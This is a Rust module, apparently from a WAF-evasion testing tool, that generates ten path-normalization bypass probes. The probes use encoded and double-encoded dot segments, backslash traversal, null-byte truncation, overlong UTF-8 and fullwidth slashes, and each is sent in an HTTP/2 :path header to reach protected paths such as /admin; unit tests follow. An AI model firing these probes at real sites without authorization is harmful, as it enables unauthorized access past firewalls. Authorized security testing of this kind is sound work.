use wafrift_types::canary::Canary;
use wafrift_types::pick::pick_from;
use wafrift_types::probe::{SmuggleArtifact, SmuggleProbe};
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum PathNormalizeTechnique {
DotSegmentEncoded,
DoubleEncodedDotSegment,
MixedDotEncoding,
BackslashTraversal,
NullByteTruncation,
MultiSlashCollapse,
FragmentLeak,
SemicolonPathParam,
UnicodeFullwidthSlash,
OverlongUtf8Slash,
}
impl PathNormalizeTechnique {
#[must_use]
pub fn technique_name(&self) -> &'static str {
match self {
Self::DotSegmentEncoded => "path.dot-segment-encoded",
Self::DoubleEncodedDotSegment => "path.double-encoded-dot-segment",
Self::MixedDotEncoding => "path.mixed-dot-encoding",
Self::BackslashTraversal => "path.backslash-traversal",
Self::NullByteTruncation => "path.null-byte-truncation",
Self::MultiSlashCollapse => "path.multi-slash-collapse",
Self::FragmentLeak => "path.fragment-leak",
Self::SemicolonPathParam => "path.semicolon-path-param",
Self::UnicodeFullwidthSlash => "path.unicode-fullwidth-slash",
Self::OverlongUtf8Slash => "path.overlong-utf8-slash",
}
}
#[must_use]
pub fn description(&self) -> &'static str {
match self {
Self::DotSegmentEncoded => {
"URL-encoded dot-dot traversal — bypasses literal `../` scanners"
}
Self::DoubleEncodedDotSegment => "Double-encoded dot-dot — bypasses single-decode WAFs",
Self::MixedDotEncoding => "Mixed encoded + literal dot — bypasses one-pass normalizers",
Self::BackslashTraversal => {
"Windows backslash separator — IIS-style WAF/origin differential"
}
Self::NullByteTruncation => "NUL-byte truncation — splits WAF view from backend view",
Self::MultiSlashCollapse => "Multi-slash run — segment-count differential",
Self::FragmentLeak => "Fragment-in-path — WAFs that split early see wrong path",
Self::SemicolonPathParam => "RFC 3986 path-param suffix — normalizer differential",
Self::UnicodeFullwidthSlash => {
"U+FF0F fullwidth solidus — visually a slash, byte-wise not"
}
Self::OverlongUtf8Slash => "Overlong UTF-8 `/` (%c0%af) — accepted by lenient parsers",
}
}
}
const SAFE_PREFIX_POOL: &[&str] = &["/safe", "/public", "/healthz", "/assets"];
#[derive(Debug, Clone)]
pub struct PathSmuggleProbe {
pub canary: Canary,
pub technique: PathNormalizeTechnique,
pub path: String,
}
impl PathSmuggleProbe {
#[must_use]
pub fn new(technique: PathNormalizeTechnique, protected_path: &str) -> Self {
let target = protected_path.trim_start_matches('/');
let prefix = pick_from(SAFE_PREFIX_POOL, "/safe");
let path = match technique {
PathNormalizeTechnique::DotSegmentEncoded => {
format!("{prefix}/%2e%2e/{target}")
}
PathNormalizeTechnique::DoubleEncodedDotSegment => {
format!("{prefix}/%252e%252e/{target}")
}
PathNormalizeTechnique::MixedDotEncoding => {
format!("{prefix}/%2e./{target}")
}
PathNormalizeTechnique::BackslashTraversal => {
format!("{prefix}/..\\{target}")
}
PathNormalizeTechnique::NullByteTruncation => {
format!("/{target}%00/{}", prefix.trim_start_matches('/'))
}
PathNormalizeTechnique::MultiSlashCollapse => {
format!("////{target}")
}
PathNormalizeTechnique::FragmentLeak => {
format!("{prefix}#/{target}")
}
PathNormalizeTechnique::SemicolonPathParam => {
format!("/{target};jsessionid=wafrift")
}
PathNormalizeTechnique::UnicodeFullwidthSlash => {
format!("\u{FF0F}{target}")
}
PathNormalizeTechnique::OverlongUtf8Slash => {
format!("/%c0%af{target}")
}
};
Self {
canary: Canary::generate(),
technique,
path,
}
}
}
impl SmuggleProbe for PathSmuggleProbe {
fn canary(&self) -> &Canary {
&self.canary
}
fn technique(&self) -> String {
self.technique.technique_name().to_string()
}
fn description(&self) -> &str {
self.technique.description()
}
fn artifact(&self) -> SmuggleArtifact {
SmuggleArtifact::Headers(vec![(":path".to_string(), self.path.clone())])
}
}
#[must_use]
pub fn all_variants(protected_path: &str) -> Vec<PathSmuggleProbe> {
use PathNormalizeTechnique::*;
[
DotSegmentEncoded,
DoubleEncodedDotSegment,
MixedDotEncoding,
BackslashTraversal,
NullByteTruncation,
MultiSlashCollapse,
FragmentLeak,
SemicolonPathParam,
UnicodeFullwidthSlash,
OverlongUtf8Slash,
]
.iter()
.map(|t| PathSmuggleProbe::new(*t, protected_path))
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
use std::collections::HashSet;
#[test]
fn all_variants_emits_one_per_technique() {
let probes = all_variants("/admin");
assert_eq!(probes.len(), 10);
}
#[test]
fn every_probe_uses_path_family_namespace() {
for p in all_variants("/admin") {
assert!(p.technique().starts_with("path."), "got {}", p.technique());
}
}
#[test]
fn every_probe_emits_pseudo_path_header() {
for p in all_variants("/admin") {
match p.artifact() {
SmuggleArtifact::Headers(hs) => {
assert_eq!(hs.len(), 1);
assert_eq!(hs[0].0, ":path");
assert!(!hs[0].1.is_empty());
}
other => panic!("expected Headers, got {other:?}"),
}
}
}
#[test]
fn dot_segment_encoded_contains_encoded_dot_dot() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
assert!(p.path.contains("%2e%2e"), "got {}", p.path);
assert!(p.path.ends_with("admin"));
}
#[test]
fn double_encoded_contains_double_percent() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::DoubleEncodedDotSegment, "/admin");
assert!(p.path.contains("%252e%252e"), "got {}", p.path);
}
#[test]
fn mixed_dot_encoding_contains_encoded_dot_then_literal_dot() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::MixedDotEncoding, "/admin");
assert!(p.path.contains("%2e."), "got {}", p.path);
}
#[test]
fn backslash_traversal_contains_backslash() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::BackslashTraversal, "/admin");
assert!(p.path.contains('\\'), "got {}", p.path);
}
#[test]
fn null_byte_variant_contains_percent_00() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::NullByteTruncation, "/admin");
assert!(p.path.contains("%00"), "got {}", p.path);
}
#[test]
fn multi_slash_variant_starts_with_quad_slash() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::MultiSlashCollapse, "/admin");
assert!(p.path.starts_with("////"), "got {}", p.path);
}
#[test]
fn fragment_variant_contains_hash() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::FragmentLeak, "/admin");
assert!(p.path.contains('#'), "got {}", p.path);
}
#[test]
fn semicolon_variant_contains_semicolon_param() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::SemicolonPathParam, "/admin");
assert!(p.path.contains(';'), "got {}", p.path);
assert!(p.path.contains("jsessionid"));
}
#[test]
fn unicode_fullwidth_variant_contains_ff0f_bytes() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::UnicodeFullwidthSlash, "/admin");
let bytes = p.path.as_bytes();
assert!(
bytes.windows(3).any(|w| w == [0xEF, 0xBC, 0x8F]),
"got bytes {bytes:?}"
);
}
#[test]
fn overlong_utf8_variant_contains_c0_af() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::OverlongUtf8Slash, "/admin");
assert!(p.path.contains("%c0%af"), "got {}", p.path);
}
#[test]
fn canaries_are_unique_per_probe() {
let probes = all_variants("/admin");
let tokens: HashSet<String> = probes.iter().map(|p| p.canary().token.clone()).collect();
assert_eq!(tokens.len(), probes.len());
}
#[test]
fn descriptions_are_non_empty_and_distinct() {
let probes = all_variants("/admin");
let descs: HashSet<&str> = probes.iter().map(|p| p.description()).collect();
assert_eq!(descs.len(), probes.len(), "descriptions must be distinct");
for p in &probes {
assert!(!p.description().is_empty());
}
}
#[test]
fn technique_names_are_distinct() {
let probes = all_variants("/admin");
let techs: HashSet<String> = probes.iter().map(|p| p.technique()).collect();
assert_eq!(
techs.len(),
probes.len(),
"technique names must be distinct"
);
}
#[test]
fn custom_protected_path_appears_in_artifact() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/wp-admin");
assert!(p.path.contains("wp-admin"), "got {}", p.path);
}
#[test]
fn protected_path_without_leading_slash_still_works() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "admin");
assert!(p.path.contains("admin"));
}
#[test]
fn probe_canary_token_is_sixteen_chars() {
let p = PathSmuggleProbe::new(PathNormalizeTechnique::DotSegmentEncoded, "/admin");
assert_eq!(p.canary().token.len(), 16);
}
}